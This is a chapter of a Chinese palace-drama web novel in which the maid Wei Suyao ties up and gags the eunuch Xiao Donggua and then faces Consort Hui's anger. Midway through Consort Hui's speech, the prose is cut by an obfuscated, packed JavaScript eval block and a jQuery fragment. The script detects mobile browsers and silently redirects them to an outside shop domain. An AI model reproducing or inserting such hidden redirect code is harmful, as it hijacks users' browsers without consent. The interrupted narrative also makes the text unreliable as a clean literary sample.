55. 绑瓜
    两人面面相觑一会儿,卫素瑶要将帕子还他,曹寅没接,“不用了。”

    卫素瑶捏着帕子一时也不知要干嘛,恍然想到前几日佟贵妃说,会帮助她离开延禧宫,原来是这样的离开法吗?皇上也同意吗?

    她心里苦笑,皇上想必是同意的,可是她还没来得及说她的想法。

    卫素瑶又问曹寅:“您刚才说的都是真的吗?”

    她多么希望他的语气能有一点不确定,可是他颔首点头,没有迟疑。

    卫素瑶耷拉下脸,“我知道了。”

    -

    一场太阳雨后,天仿佛是学会了下雨,隔三差五就是阴雨,一场场落下来后,倒是没那么热了,每逢晚间些许凉爽。

    银枝和金杏在庭中扫落花落叶,小铁棍和花坊的太监一齐把新进贡的菊花盆栽摆放正殿廊下。新菊含苞朵朵,正待花期。

    小铁棍擦了把汗,见惠嫔从屋中出来观花,评说道:“主儿,这菊花是不是上太早了?好歹开一两朵再摆进来,花骨朵有什么可赏的?”

    惠嫔笑道:“皮猴不知道了吧,单是赏花,一年到头左不过那些花样,就好比这菊花,看一两天新鲜,看四五天就没趣,再看眼睛生腻,就是要瞧着她们从指甲盖的花骨朵,慢慢长成拳头大,绽放,盛开,这才有盼头,才有趣。”

    小铁棍十分受教,嘿嘿笑道:“奴才果然是粗人,只晓得看五颜六色的花。”

    “你主子也是粗人,不嫌弃你。”

    惠嫔想起什么,又说道:“今儿去承乾宫给那位雅人请安,竟是大跌眼镜,没想到堂堂贵妃,宫里那般寒碜单调,院子里连株会开花的东西都没有,满眼老绿,她那的茶也淡而无味,跟喝开水没两样,那屋子里的摆设你是没看见,慈仁宫都比她那有生气,不知道这日子怎么过的,我都有点可怜她了。”

    小铁棍诧异道:“当真如此?本来奴才还想跟您一起去看看呢,听您这么一说,您下回还是继续带秋兴去吧。”

    惠嫔眉花眼笑,心情十分好,“下回不定带秋兴,雅人今儿问我怎么不带素瑶去,对了,素瑶呢?怎么半天都不见她人影?”

    小铁棍摸着头四处扫描,“奇怪,奴才一上午也没看见她,主儿,要不要问问小冬瓜?”

    惠嫔神色平淡地点了头。小铁棍得了授意,下去问银枝等人,都说没看见素瑶,也没看见小冬瓜,小铁棍顿感不妙,带了人四处搜找,最后在库房外面听到里面传来呜呜声,如果不注意,会觉得像远处草丛里的老蟾蜍的疲惫叫唤,但小铁棍存了寻人的心思,立刻发现这声音不对劲。

    库房钥匙本就是小冬瓜保管,小冬瓜和素瑶向来不和,小铁棍想,莫不是他俩起了冲突,小冬瓜把素瑶关在了里面?

    他不敢耽搁,即刻回去跟惠嫔禀了,惠嫔眉头一拧,令小铁棍去寝殿把备用钥匙找来,一行人去库房开门。

    门打开后,哪里有卫素瑶人影,地上大字型躺了个白胖冬瓜,左手绑在一个柜脚上,右手绑在八仙桌桌脚上,左右脚各系在墙壁另一侧的柜脚上,整个人服服帖帖趴在地上,只有脖子还能转动。

    小冬瓜听到声响,扭动脖子,朝外抬脸,只见他的脸胀得通红,是一种不正常地红,上面还星星点点布着红点子。他眼睛本就纽扣般小,这会肿成个核桃,核桃上裂开一条细缝,眼皮直抖。他的嘴唇则被白布层层封绑住,腮帮子鼓鼓的,似乎塞了东西。

    他瞥到惠嫔,激动地扭身子,两边柜子桌子立即发出吱嘎和哐啷的声响,一只瓷盘从柜中滑落,哐当砸碎在地。

    惠嫔喝令:“别动!”

    小冬瓜屏息不动,但已迟了,柜中又滑下一摞甜白釉的茶盏,叮叮哐哐砸了一地,有两个茶盏落在小冬瓜浑厚的背上而幸免于难。

    惠嫔急喝道:“去!给他松绑!”

    几人上前,一人解他左脚的绳,一人解右脚的绳,小铁棍在柜中找了把剪子,把绑着小冬瓜手上的绳慢慢剪断,一圈圈除他嘴上的布条,从他嘴里拔出两只白袜子和一个肉包,小冬瓜喉中痒急,哇一声干呕。

    众人瞧得惊骇万分。

    松了绑的小冬瓜像垂死的白鱼,在地上打了个挺,翻过身,大字型仰躺在地,大张嘴巴呼吸。

    惠嫔上前查看,面色阴寒,小铁棍偷偷瞥了眼门外的秋兴,二人一对视,皆是目露惴惴,为卫素瑶感到不安。

    “给本宫搬张椅子。”

    小铁棍用袖子拂了旁边椅上灰尘,搬到惠嫔身后,惠嫔背门坐下,冷冷打量小冬瓜,“怎么回事?”

    小冬瓜艰难撑起身子,嘴巴却僵住了合不上,哇哇嚷了几声,像是在说什么话,但十分含糊。

    惠嫔问:“脸怎么了,上面沾的是什么?”

    小冬瓜用力地哇哇两声,小铁棍见状上去查看他的脸,剥了他脸上的红色点点,闻了闻道:“主儿,是辣椒。”

    惠嫔皱眉,“是素瑶做的?”

    小冬瓜激动点头。

    惠嫔朝小铁棍使个眼色,“扶他起来,给他洗把脸,再弄碗水给他。”

    待小冬瓜坐起,擦了脸,喝了点水,他的眼睛缝才睁开一些,干燥的口腔和喉咙也得到一丝缓解,大着舌头道:“者儿为拿才造肘!为拿才造肘!”

    “岂有此理!她竟敢这么对你!”惠嫔一掌拍在扶手上,倒是把自己拍疼了,冷静下来,方说,“她想出去,你奉本宫旨意看牢她,所以她这样对你?”

    小冬瓜不住点头。

    惠嫔怒极,咬牙切齿道:“反了她了!”

    “她这会人在哪里?你可知道?”

    小冬瓜摇头。

    惠嫔扭头瞥小铁棍,又瞥后面的秋兴,两人都是摇头。

    “本宫看她是越发目中无人了!”惠嫔胸口剧烈起伏,片刻后,语气缓下来对小冬瓜道,“你为本宫尽心办事,这很好,本宫记着了。你先

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163672|138799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    回去歇着,这两天不用干活,哪里不舒服尽管告诉本宫,本宫替你请太医,一定要把身子养好。至于素瑶,本宫会重重惩戒为你出气。”

    小冬瓜眼缝里黑漆漆的,却有莹莹泪光闪动,他感动地直磕头,口齿不清地嚷着些话,大意是感激惠嫔之言。

    -

    卫素瑶回来后匆匆就往屋中去。惠嫔坐在躺椅上,在菊花盆栽前静赏花骨朵,她早已等候多时,见了卫素瑶,只斜眼不动声色看她。

    小铁棍和秋兴陪在身后,二人面面相觑,惠嫔越平静,越是有山雨欲来的紧张压迫感。

    “秋兴,把她叫过来。”

    秋兴一愣,“哎”了一声,便去屋中寻卫素瑶了。

    一见着她,秋兴便急声道:“你去哪了,一上午不见人!”

    卫素瑶正眼珠子乱转,秋兴没时间听她掰扯,上前拉过她,担忧道:“你把小冬瓜弄成那样,主儿发大火呢,这会叫你过去,你赶紧想个说辞!”

    两人随后便去了院中,惠嫔正垂眸摸着尖长护甲,闻声只略略抬了下眼,继续赏看护甲上镶的猫眼石。

    风沙沙地摇动银杏树,落叶在地上拖移,忽然不动了,又拖移,走走停停。

    惠嫔拖着嗓子道:“素瑶,好久不见啊。”

    秋兴和小铁棍都在拼命给卫素瑶使眼色,卫素瑶当即扑通下跪,声音洪亮,“娘娘!奴才做了错事!”

    惠嫔眉梢一挑,“哦?什么事?”

    卫素瑶哭唧唧道:“奴才想皇上想得紧,整夜备受相思苦,只好自作主张去见他,可是小冬瓜不让奴才出门,奴才只好给他涂辣椒面,叫他知难而退,可他太凶了,奴才怕他动粗,像上回那样撕衣裳,只好将他绑起来...娘娘,奴才错了!”

    惠嫔启齿一笑,“哟,原来你全为的见皇上?你什么时候同皇上这样好了?”

    卫素瑶道:“情之不知所起,一往而深啊。”

    惠嫔咯咯冷笑,拍着手道:“好,好啊素瑶,你真是越发胆大了,撒谎都敢带上皇上了。”

    “是真的,你可以问皇上去。”

    惠嫔眨了眨眼,“本宫现在不管这个,你也别想岔开话头,你把小冬瓜弄得不死不活,二十杖必须领下,否则本宫如何向小冬瓜交代。”

    卫素瑶一怔,“娘娘,二十杖会打烂奴才屁股的!奴才要是受伤留疤,皇上就不喜欢了!”

    “你放心,打完给你上最好的金疮药。”

    卫素瑶暗骂一声,“可是小冬瓜绑过我,撕过我衣服,凭什么他可以欺负我,我就不可以欺负他?”

    “因为他在替本宫做事,你却是为了私义。”

    “我去找皇上怎么不是为你做事?你不是一直想要我邀宠?”

    惠嫔挑起眉,起身停在卫素瑶跟前,护甲尖端勾起卫素瑶下巴,目光狠碾过她,“皇上上午在承乾宫,你上哪找他?”

    卫素瑶浑身一震。